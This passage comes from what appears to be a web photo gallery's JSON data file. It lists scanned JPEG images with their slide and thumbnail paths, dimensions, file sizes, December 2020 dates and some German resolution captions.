    S22C-620121515460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515460_0001.jpg","width":340,"height":260},"fileSize":326860,"name":"S22C-620121515460_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513081_0001.jpg","image":{"path":"slides\/S22C-620121513081_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513081_0001.jpg","width":340,"height":260},"fileSize":454279,"name":"S22C-620121513081_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513080_0001.jpg","image":{"path":"slides\/S22C-620121513080_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513080_0001.jpg","width":340,"height":260},"fileSize":540173,"name":"S22C-620121513080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019032_0001.jpg","image":{"path":"slides\/S22C-620121019032_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019032_0001.jpg","width":340,"height":260},"fileSize":492753,"name":"S22C-620121019032_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018453_0001.jpg","image":{"path":"slides\/S22C-620121018453_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018453_0001.jpg","width":340,"height":260},"fileSize":425357,"name":"S22C-620121018453_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513241_0001.jpg","image":{"path":"slides\/S22C-620121513241_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513241 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513241_0001.jpg","width":340,"height":260},"fileSize":435481,"name":"S22C-620121513241_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513301_0001.jpg","image":{"path":"slides\/S22C-620121513301_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513301 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513301_0001.jpg","width":340,"height":260},"fileSize":659177,"name":"S22C-620121513301_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517094_0001.jpg","image":{"path":"slides\/S22C-620121517094_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517094 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517094_0001.jpg","width":340,"height":260},"fileSize":229137,"name":"S22C-620121517094_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516483_0001.jpg","image":{"path":"slides\/S22C-620121516483_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516483 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516483_0001.jpg","width":340,"height":260},"fileSize":167451,"name":"S22C-620121516483_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019130_0001.jpg","image":{"path":"slides\/S22C-620121019130_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019130_0001.jpg","width":340,"height":260},"fileSize":583981,"name":"S22C-620121019130_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513182_0001.jpg","image":{"path":"slides\/S22C-620121513182_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121513182 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513182_0001.jpg","width":340,"height":260},"fileSize":571319,"name":"S22C-620121513182_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516262_0001.jpg","image":{"path":"slides\/S22C-620121516262_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516262 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516262_0001.jpg","width":340,"height":260},"fileSize":591052,"name":"S22C-620121516262_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517130_0001.jpg","image":{"path":"slides\/S22C-620121517130_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517130_0001.jpg","width":340,"height":260},"fileSize":301275,"name":"S22C-620121517130_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517131_0001.jpg","image":{"path":"slides\/S22C-620121517131_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517131 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517131_0001.jpg","width":340,"height":260},"fileSize":322423,"name":"S22C-620121517131_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019070_0001.jpg","image":{"path":"slides\/S22C-620121019070_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019070_0001.jpg","width":340,"height":260},"fileSize":913514,"name":"S22C-620121019070_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513051_0001.jpg","image":{"path":"slides\/S22C-620121513051_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513051_0001.jpg","width":340,"height":260},"fileSize":1088840,"name":"S22C-620121513051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019042_0001.jpg","image":{"path":"slides\/S22C-620121019042_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019042 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019042_0001.jpg","width":340,"height":260},"fileSize":776883,"name":"S22C-620121019042_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019043_0001.jpg","image":{"path":"slides\/S22C-620121019043_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019043 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019043_0001.jpg","width":340,"height":260},"fileSize":874070,"name":"S22C-620121019043_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517102_0001.jpg","image":{"path":"slides\/S22C-620121517102_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517102 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517102_0001.jpg","width":340,"height":260},"fileSize":470725,"name":"S22C-620121517102_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513062_0001.jpg","image":{"path":"slides\/S22C-620121513062_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513062 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513062_0001.jpg","width":340,"height":260},"fileSize":814537,"name":"S22C-620121513062_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516423_0001.jpg","image":{"path":"slides\/S22C-620121516423_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516423 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516423_0001.jpg","width":340,"height":260},"fileSize":342558,"name":"S22C-620121516423_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019103_0001.jpg","image":{"path":"slides\/S22C-620121019103_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019103 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019103_0001.jpg","width":340,"height":260},"fileSize":1433428,"name":"S22C-620121019103_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513154_0001.jpg","image":{"path":"slides\/S22C-620121513154_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513154 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513154_0001.jpg","width":340,"height":260},"fileSize":435464,"name":"S22C-620121513154_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513332_0001.jpg","image":{"path":"slides\/S22C-620121513332_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513332 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513332_0001.jpg","width":340,"height":260},"fileSize":479485,"name":"S22C-620121513332_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019092_0001.jpg","image":{"path":"slides\/S22C-620121019092_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019092 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019092_0001.jpg","width":340,"height":260},"fileSize":709235,"name":"S22C-620121019092_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513021_0001.jpg","image":{"path":"slides\/S22C-620121513021_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513021_0001.jpg","width":340,"height":260},"fileSize":315496,"name":"S22C-620121513021_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018460_0001.jpg","image":{"path":"slides\/S22C-620121018460_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018460_0001.jpg","width":340,"height":260},"fileSize":467847,"name":"S22C-620121018460_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019141_0001.jpg","image":{"path":"slides\/S22C-620121019141_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019141_0001.jpg","width":340,"height":260},"fileSize":684151,"name":"S22C-620121019141_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516352_0001.jpg","image":{"path":"slides\/S22C-620121516352_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516352 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516352_0001.jpg","width":340,"height":260},"fileSize":485296,"name":"S22C-620121516352_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513161_0001.jpg","image":{"path":"slides\/S22C-620121513161_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513161 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513161_0001.jpg","width":340,"height":260},"fileSize":385592,"name":"S22C-620121513161_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517092_0001.jpg","image":{"path":"slides\/S22C-620121517092_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517092 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517092_0001.jpg","width":340,"height":260},"fileSize":192896,"name":"S22C-620121517092_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515424_0001.jpg","image":{"path":"slides\/S22C-620121515424_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515424 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515424_0001.jpg","width":340,"height":260},"fileSize":224554,"name":"S22C-620121515424_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513231_0001.jpg","image":{"path":"slides\/S22C-620121513231_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121513231 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513231_0001.jpg","width":340,"height":260},"fileSize":168455,"name":"S22C-620121513231_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513230_0001.jpg","image":{"path":"slides\/S22C-620121513230_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513230 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513230_0001.jpg","width":340,"height":260},"fileSize":141759,"name":"S22C-620121513230_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517054_0001.jpg","image":{"path":"slides\/S22C-620121517054_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517054 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517054_0001.jpg","width":340,"height":260},"fileSize":402458,"name":"S22C-620121517054_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018574_0001.jpg","image":{"path":"slides\/S22C-620121018574_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018574 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018574_0001.jpg","width":340,"height":260},"fileSize":446761,"name":"S22C-620121018574_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516591_0001.jpg","image":{"path":"slides\/S22C-620121516591_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516591_0001.jpg","width":340,"height":260},"fileSize":826119,"name":"S22C-620121516591_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516590_0001.jpg","image":{"path":"slides\/S22C-620121516590_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516590_0001.jpg","width":340,"height":260},"fileSize":345679,"name":"S22C-620121516590_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018371_0001.jpg","image":{"path":"slides\/S22C-620121018371_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018371_0001.jpg","width":340,"height":260},"fileSize":125844,"name":"S22C-620121018371_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516230_0001.jpg","image":{"path":"slides\/S22C-620121516230_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516230 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516230_0001.jpg","width":340,"height":260},"fileSize":434894,"name":"S22C-620121516230_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516442_0001.jpg","image":{"path":"slides\/S22C-620121516442_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516442_0001.jpg","width":340,"height":260},"fileSize":436359,"name":"S22C-620121516442_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513251_0001.jpg","image":{"path":"slides\/S22C-620121513251_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513251 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513251_0001.jpg","width":340,"height":260},"fileSize":332892,"name":"S22C-620121513251_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513250_0001.jpg","image":{"path":"slides\/S22C-620121513250_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513250 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513250_0001.jpg","width":340,"height":260},"fileSize":190650,"name":"S22C-620121513250_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019061_0001.jpg","image":{"path":"slides\/S22C-620121019061_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019061_0001.jpg","width":340,"height":260},"fileSize":739277,"name":"S22C-620121019061_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513040_0001.jpg","image":{"path":"slides\/S22C-620121513040_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513040_0001.jpg","width":340,"height":260},"fileSize":755459,"name":"S22C-620121513040_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019120_0001.jpg","image":{"path":"slides\/S22C-620121019120_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019120_0001.jpg","width":340,"height":260},"fileSize":1006298,"name":"S22C-620121019120_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018270_0001.jpg","image":{"path":"slides\/S22C-620121018270_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121018270 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018270_0001.jpg","width":340,"height":260},"fileSize":193192,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018270_0001.jpg","dates":{"dateTaken":1608392139},"fileDate":"2020-12-19T16:35:39.147Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:39.147Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018280_0001.jpg","image":{"path":"slides\/S22C-620121018280_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018280_0001.jpg","width":340,"height":260},"fileSize":449368,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018280_0001.jpg","dates":{"dateTaken":1608392141},"fileDate":"2020-12-19T16:35:41.945Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:41.945Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018302_0001.jpg","image":{"path":"slides\/S22C-620121018302_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018302 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018302_0001.jpg","width":340,"height":260},"fileSize":844233,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018302_0001.jpg","dates":{"dateTaken":1608392144},"fileDate":"2020-12-19T16:35:44.370Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:44.370Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018331_0001.jpg","image":{"path":"slides\/S22C-620121018331_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018331_0001.jpg","width":340,"height":260},"fileSize":516763,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018331_0001.jpg","dates":{"dateTaken":1608392147},"fileDate":"2020-12-19T16:35:47.486Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:47.486Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018340_0001.jpg","image":{"path":"slides\/S22C-620121018340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018340_0001.jpg","width":340,"height":260},"fileSize":347208,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018340_0001.jpg","dates":{"dateTaken":1608392148},"fileDate":"2020-12-19T16:35:48.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:48.662Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018342_0001.jpg","image":{"path":"slides\/S22C-620121018342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018342_0001.jpg","width":340,"height":260},"fileSize":299435,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018342_0001.jpg","dates":{"dateTaken":1608392150},"fileDate":"2020-12-19T16:35:50.118Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:50.118Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018350_0001.jpg","image":{"path":"slides\/S22C-620121018350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018350_0001.jpg","width":340,"height":260},"fileSize":189666,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018350_0001.jpg","dates":{"dateTaken":1608392151},"fileDate":"2020-12-19T16:35:51.427Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:51.427Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018351_0001.jpg","image":{"path":"slides\/S22C-620121018351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018351_0001.jpg","width":340,"height":260},"fileSize":412126,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018351_0001.jpg","dates":{"dateTaken":1608392155},"fileDate":"2020-12-19T16:35:55.99Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:55.99Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018360_0001.jpg","image":{"path":"slides\/S22C-620121018360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018360_0001.jpg","width":340,"height":260},"fileSize":214607,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018360_0001.jpg","dates":{"dateTaken":1608392156},"fileDate":"2020-12-19T16:35:56.536Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:56.536Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018370_0001.jpg","image":{"path":"slides\/S22C-620121018370_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018370_0001.jpg","width":340,"height":260},"fileSize":586423,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018370_0001.jpg","dates":{"dateTaken":1608392159},"fileDate":"2020-12-19T16:35:59.114Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:59.114Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018380_0001.jpg","image":{"path":"slides\/S22C-620121018380_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018380 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018380_0001.jpg","width":340,"height":260},"fileSize":325826,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018380_0001.jpg","dates":{"dateTaken":1608392162},"fileDate":"2020-12-19T16:36:02.464Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:02.464Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018381_0001.jpg","image":{"path":"slides\/S22C-620121018381_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018381 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018381_0001.jpg","width":340,"height":260},"fileSize":352693,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018381_0001.jpg","dates":{"dateTaken":1608392164},"fileDate":"2020-12-19T16:36:04.378Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:04.378Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018382_0001.jpg","image":{"path":"slides\/S22C-620121018382_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018382 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018382_0001.jpg","width":340,"height":260},"fileSize":289677,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018382_0001.jpg","dates":{"dateTaken":1608392167},"fileDate":"2020-12-19T16:36:07.17Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:07.17Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018390_0001.jpg","image":{"path":"slides\/S22C-620121018390_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018390 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018390_0001.jpg","width":340,"height":260},"fileSize":487502,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018390_0001.jpg","dates":{"dateTaken":1608392168},"fileDate":"2020-12-19T16:36:08.276Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:08.276Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018391_0001.jpg","image":{"path":"slides\/S22C-620121018391_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018391 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018391_0001.jpg","width":340,"height":260},"fileSize":285241,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018391_0001.jpg","dates":{"dateTaken":1608392170},"fileDate":"2020-12-19T16:36:10.494Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:10.494Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018392_0001.jpg","image":{"path":"slides\/S22C-620121018392_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018392 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018392_0001.jpg","width":340,"height":260},"fileSize":160344,"photodata":"

